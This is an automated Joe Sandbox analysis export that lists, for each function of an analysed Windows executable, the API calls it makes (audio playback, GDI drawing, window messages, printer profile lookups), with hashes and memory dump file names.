Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$MessageSend$GlobalParent$Focus$FreeLockLongRectSizeUnlock
String ID:
API String ID: 300820980-0
Opcode ID: 19a4e2a410972ea4f310363eec33c40408336756ba3e5b55e716b6fc429187b9
Instruction ID: 763a7125cdf22133515ad20897ed1bb5b09302a9efac7b019a4f653ac1c4f182
Opcode Fuzzy Hash: 19a4e2a410972ea4f310363eec33c40408336756ba3e5b55e716b6fc429187b9
Instruction Fuzzy Hash: C8A17DB1604300AFD714EF65CC85B6BBBE9BF88704F10892EF95197391CB78E8458B5A

Function 00441C00 Relevance: 31.7, APIs: 21, Instructions: 205COMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000022B8), ref: 00441C15
EnterCriticalSection.KERNEL32(?), ref: 00441C38
LeaveCriticalSection.KERNEL32(?), ref: 00441C46
waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 00441C68
waveOutPrepareHeader.WINMM(?,?,00000020), ref: 00441CB1
waveOutWrite.WINMM(?,?,00000020), ref: 00441CBE
EnterCriticalSection.KERNEL32(?), ref: 00441CC8
LeaveCriticalSection.KERNEL32(?), ref: 00441CD6
EnterCriticalSection.KERNEL32(?), ref: 00441D05
ReleaseSemaphore.KERNEL32(?,00000014,00000000), ref: 00441D23
LeaveCriticalSection.KERNEL32(?), ref: 00441D2A
waveOutPause.WINMM(?), ref: 00441D39
waveOutReset.WINMM(?), ref: 00441D43
waveOutUnprepareHeader.WINMM(?,00000000,00000020), ref: 00441D61
waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 00441D86
EnterCriticalSection.KERNEL32(004DBEB8), ref: 00441D9C
LeaveCriticalSection.KERNEL32(004DBEB8), ref: 00441DF8
CloseHandle.KERNEL32(?), ref: 00441E26
CloseHandle.KERNEL32(?), ref: 00441E2C
CloseHandle.KERNEL32(?), ref: 00441E32
DeleteCriticalSection.KERNEL32(?), ref: 00441E38

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$wave$EnterHeaderLeave$CloseHandleUnprepare$DeleteMultipleObjectsPausePrepareReleaseResetSemaphoreWaitWrite
String ID:
API String ID: 361331667-0
Opcode ID: 025642e08ad751bdb9aab37642efbc9d7749ec7f1570b92ccd820ccd75f3094c
Instruction ID: f318690171cf380ad459555e03d082ed18548941e76ad3a1c5830c90cb736204
Opcode Fuzzy Hash: 025642e08ad751bdb9aab37642efbc9d7749ec7f1570b92ccd820ccd75f3094c
Instruction Fuzzy Hash: 5E71A5B66002199BEB14CF64DC88AAA3BA8FF49714F05452AFD06D7361C778ED41CB98

Function 0043CCE0 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 255windowCOMMON

Download Yara Rule

APIs

CopyRect.USER32(?,?), ref: 0043CD16

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

FillRect.USER32(?,?,00000000), ref: 0043CD54
GetSystemMetrics.USER32(0000002E), ref: 0043CD7D
GetSystemMetrics.USER32(0000002D), ref: 0043CD83
DrawFrameControl.USER32(?,?,00000003,?), ref: 0043CDF6
DrawEdge.USER32(?,?,0000000A,0000000F), ref: 0043CE09
InflateRect.USER32(?,00FFFFFD,00000001), ref: 0043CE24
GetSysColor.USER32(0000000F), ref: 0043CE48
Rectangle.GDI32(?,?,?,?,?), ref: 0043CE9B
OffsetRect.USER32(?,00000001,00000001), ref: 0043CF05
GetSysColor.USER32(00000014), ref: 0043CF0B
OffsetRect.USER32(?,000000FF,000000FF), ref: 0043CF33
GetSysColor.USER32(00000010), ref: 0043CF39
InflateRect.USER32(?,000000FF,000000FF), ref: 0043CF82
DrawFocusRect.USER32(?,?), ref: 0043CF91

Part of subcall function 00494123: GetWindowTextLengthA.USER32(?), ref: 00494130
Part of subcall function 00494123: GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148

Strings

rJ, xrefs: 0043CF97
rJ, xrefs: 0043CD62

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$ColorDraw$InflateMetricsOffsetSystemTextWindow$BrushControlCopyCreateEdgeFillFocusFrameH_prologLengthRectangleSolid
String ID: rJ$ rJ
API String ID: 4239342997-2590361523
Opcode ID: 324dae71d8e80ff815c0e423b7f65a5b88f580f6d32451fe57349df04b6ed6d1
Instruction ID: 7926ee7fb7289db2ef029edbf857d7bbae39e9a4e4ee23797de59ff9ea5ac067
Opcode Fuzzy Hash: 324dae71d8e80ff815c0e423b7f65a5b88f580f6d32451fe57349df04b6ed6d1
Instruction Fuzzy Hash: F1A18974208345AFC704DF68C889E6BBBE8BF89714F004A1DF59687390DBB4E905CB96

Function 004281B0 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 004281ED
MulDiv.KERNEL32(?,?,00000064), ref: 00428222
MulDiv.KERNEL32(?,?,00000064), ref: 0042824D
GetDeviceCaps.GDI32 ref: 00428287
GetSystemPaletteEntries.GDI32(?,00000000,000000FF,00000004), ref: 004282C1
CreatePalette.GDI32(00000000), ref: 004282CC
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0042832C
CreateCompatibleDC.GDI32(?), ref: 0042835F
CreateCompatibleDC.GDI32(?), ref: 00428398
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 004283FB
GlobalFree.KERNEL32(00000000), ref: 004284C3

Strings

TjJ&ljJ, xrefs: 004283A8, 004283B6
ljJ, xrefs: 004282F1, 004282F5
`jJ, xrefs: 00428457
`jJ, xrefs: 00428303

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Create$Compatible$Palette$BitmapCapsDeviceEntriesFreeGlobalObjectStretchSystem
String ID: TjJ&ljJ$`jJ$`jJ$ljJ
API String ID: 3563226738-2179596016
Opcode ID: 637b8a336f66bfe7be62a66ddbd9417d3801636560846fc8ab17252c49a28874
Instruction ID: d8a1f506ac99fe42ff3dbd7d9c2e6c9fee608dafb1be6ea878813ba6e91612c0
Opcode Fuzzy Hash: 637b8a336f66bfe7be62a66ddbd9417d3801636560846fc8ab17252c49a28874
Instruction Fuzzy Hash: 3791C1712083449FC710EF65D881F6FBBE8AB95704F544A2EF69593281DB78EC04CB6A

Function 0049565C Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3

GetParent.USER32(?), ref: 00495687
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 004956AA
GetWindowRect.USER32(?,?), ref: 004956C3
GetWindowLongA.USER32(00000000,000000F0), ref: 004956D6
CopyRect.USER32(?,?), ref: 00495723
CopyRect.USER32(?,?), ref: 0049572D
GetWindowRect.USER32(00000000,?), ref: 00495736
CopyRect.USER32(?,?), ref: 00495752

Strings

@, xrefs: 004956C5
(, xrefs: 004956EE

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: ($@
API String ID: 808654186-1311469180
Opcode ID: a9e278be69f85a909b80f54ad9f7d23f088dd2f588c2aa917d2bb991c7cb9427
Instruction ID: 3a80c3d063a4b8dc61f788d42c68d7e194e308091007a9cfc6a311f6381747c0
Opcode Fuzzy Hash: a9e278be69f85a909b80f54ad9f7d23f088dd2f588c2aa917d2bb991c7cb9427
Instruction Fuzzy Hash: ED517272900619AFDF11DBA8DC85EEEBFB9AF44310F254166E905F3290D634ED058B68

Function 0043E4F0 Relevance: 25.9, APIs: 17, Instructions: 351windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00494123: GetWindowTextLengthA.USER32(?), ref: 00494130
Part of subcall function 00494123: GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148

__ftol.LIBCMT ref: 0043E566
__ftol.LIBCMT ref: 0043E5BC
__ftol.LIBCMT ref: 0043E612
__ftol.LIBCMT ref: 0043E668
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E689
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E6A3
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E76B
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E79D
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E7BA
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E7DA
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E7F4
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E80C
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E82B
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E894
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043E8F9
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E93B

Part of subcall function 00495EED: GetDlgItem.USER32(?,?), ref: 00495EFB

SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E967

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$__ftol$TextWindow$ItemLength
String ID:
API String ID: 2143175130-0
Opcode ID: ad7f18d017c1b2b91d793911446e11873a4b9aa19c73a9122346c65433849d30
Instruction ID: a883e40d247638f831d8f63dda2d5c71bd36fe3c4602a3ee27c37b942ad93e7c
Opcode Fuzzy Hash: ad7f18d017c1b2b91d793911446e11873a4b9aa19c73a9122346c65433849d30
Instruction Fuzzy Hash: B1D1D5B1544702ABD724EB35CC42FAB77A8AB84744F104D2EF19A862E0DA38F546CF59

Function 0044B300 Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 0044A850: GetWindowExtEx.GDI32(?,?), ref: 0044A873

MulDiv.KERNEL32(?,00000064,?), ref: 0044B3BB
GetClientRect.USER32(?,?), ref: 0044B449
DPtoLP.GDI32(?,?,00000002), ref: 0044B45E
OffsetRect.USER32 ref: 0044B4AD
Rectangle.GDI32(?,?,?,?,?), ref: 0044B4EB
FillRect.USER32(?,?,?), ref: 0044B543
FillRect.USER32(?,00000032,?), ref: 0044B586
LPtoDP.GDI32(?,?,00000002), ref: 0044B62F
IsRectEmpty.USER32(?), ref: 0044B636
CreateRectRgnIndirect.GDI32(?), ref: 0044B67A

Part of subcall function 00498444: SelectClipRgn.GDI32(?,00000000), ref: 00498466
Part of subcall function 00498444: SelectClipRgn.GDI32(?,?), ref: 0049847C

LPtoDP.GDI32(?,?,00000001), ref: 0044B6BA
DPtoLP.GDI32(?,?,00000001), ref: 0044B6E1

Strings

2, xrefs: 0044B4A5
0bCv, xrefs: 0044B67A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$ClipFillSelect$BeginClientCreateEmptyH_prologIndirectOffsetPaintRectangleWindow
String ID: 0bCv$2
API String ID: 2521159323-3064516916
Opcode ID: fa460fabccbcb003b7c72667bf66fa580f432548d59862b4645531cac74363c0
Instruction ID: 5c55b02870226dc2a8f690a16b53e063de105c021059b832df0d2bae97069365
Opcode Fuzzy Hash: fa460fabccbcb003b7c72667bf66fa580f432548d59862b4645531cac74363c0
Instruction Fuzzy Hash: D2E116B16087409FD724DF69C880A6BB7E9FBC8704F408A2EF59A87351DB74E904CB56

Function 00420220 Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 354COMMON

Download Yara Rule

APIs

CreateRectRgn.GDI32(?,?,?,?), ref: 0042026E
GetClientRect.USER32(?,?), ref: 00420309
CreateRectRgn.GDI32 ref: 0042037A
CombineRgn.GDI32(?,?,4dJ,00000004), ref: 004203AB
SetRect.USER32(?,00000000,?,?,?), ref: 00420402
IntersectRect.USER32(?,?,?), ref: 0042040F
IsRectEmpty.USER32(?), ref: 0042043A
__ftol.LIBCMT ref: 00420518
__ftol.LIBCMT ref: 00420525
CreateRectRgn.GDI32(00000000,?,00000000,00000000), ref: 0042057E
CombineRgn.GDI32(?,?,4dJ,00000004), ref: 004205AF

Part of subcall function 0042A640: SetStretchBltMode.GDI32(?,00000000), ref: 0042A654
Part of subcall function 0042A640: CreateCompatibleDC.GDI32(?), ref: 0042A6D9
Part of subcall function 0042A640: CreateCompatibleDC.GDI32(?), ref: 0042A6F1
Part of subcall function 0042A640: GetObjectA.GDI32(?,00000018,?), ref: 0042A732
Part of subcall function 0042A640: CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0042A748

FillRgn.GDI32(?,?,00000000), ref: 0042062C

Strings

4dJ, xrefs: 004205E6
4dJ, xrefs: 0042038E, 004203A6

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Create$CombineCompatible__ftol$BitmapClientEmptyFillIntersectModeObjectStretch
String ID: 4dJ$4dJ
API String ID: 3212946024-3687587987
Opcode ID: bf645fb41507d9f9dc83cc9e7d415c9fe6734117e76ff497f1a21087802cf40d
Instruction ID: a4341144a1294254b4417b74ab28962a8f6e00e08dd2429d7fdae9a42a41eb5d
Opcode Fuzzy Hash: bf645fb41507d9f9dc83cc9e7d415c9fe6734117e76ff497f1a21087802cf40d
Instruction Fuzzy Hash: 9ED19B71208341AFC714DF29D884A6BBBE8FBC8344F548A1EF89593252DB34E845CB66

Function 00430490 Relevance: 24.8, APIs: 8, Strings: 6, Instructions: 279COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(windows,device,,,,,?,000001F4), ref: 0043050F
GetProfileStringA.KERNEL32(devices,00000000,004DBE20,?,00001000), ref: 00430543
GetProfileStringA.KERNEL32(devices,?,,,,,?,000000C8), ref: 004305CA

Strings

,,,, xrefs: 00430500, 004305BF
windows, xrefs: 0043050A
device, xrefs: 00430505
devices, xrefs: 0043053E, 004305C5
none, xrefs: 00430600
mJ, xrefs: 00430809

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ProfileString
String ID: mJ$,,,$device$devices$none$windows
API String ID: 1468043044-4012763776
Opcode ID: 03d7c3a86bb0c15985a8d785e7a65d96188e50c11c2584baef92d6565c101b48
Instruction ID: c2d045556abb7d9aec2b85e90e4e97f78652d5a265dad3c15c22b8abf83a8cd9
Opcode Fuzzy Hash: 03d7c3a86bb0c15985a8d785e7a65d96188e50c11c2584baef92d6565c101b48
Instruction Fuzzy Hash: EFB1D4341083819FD724EB64C891F9FB7E4EF99758F400A1EF89983291DB789904CB6A

Function 0047FD71 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,0047FEAA), ref: 0047FD93
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 0047FDAB
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0047FDBC
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0047FDCD
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0047FDDE
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0047FDEF
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0047FE00

Strings

MonitorFromRect, xrefs: 0047FDC7
MonitorFromPoint, xrefs: 0047FDD8
GetMonitorInfoA, xrefs: 0047FDFA
MonitorFromWindow, xrefs: 0047FDB6
EnumDisplayMonitors, xrefs: 0047FDE9
GetSystemMetrics, xrefs: 0047FDA5
USER32, xrefs: 0047FD8E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: 495c395ae25b2cf9aebffb25ce440733d175a57e0675d1d5ecb6f81ba9c722b1
Instruction ID: b5a57ff288ccbfa4cb495e257acaaaf9b49e66df5cde615b7f823c2199071fdf
Opcode Fuzzy Hash: 495c395ae25b2cf9aebffb25ce440733d175a57e0675d1d5ecb6f81ba9c722b1
Instruction Fuzzy Hash: E3115E70A10319AAC3219F6EADC457BFAE2B309740360443FE108D26E1DB384469CF7D

Function 00414E90 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 316windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00414ECF
CreateCompatibleBitmap.GDI32 ref: 00414F2B
CreateCompatibleDC.GDI32(?), ref: 00414F5B
CreateRectRgn.GDI32(00000000,00000000,00000001,?), ref: 00414FF0
SetRect.USER32(?,00000000,00000000,00000001,?), ref: 00415019

Part of subcall function 0040F620: __ftol.LIBCMT ref: 0040F745
Part of subcall function 0040F620: __ftol.LIBCMT ref: 0040F752

FillRgn.GDI32(?,?,?), ref: 00415096
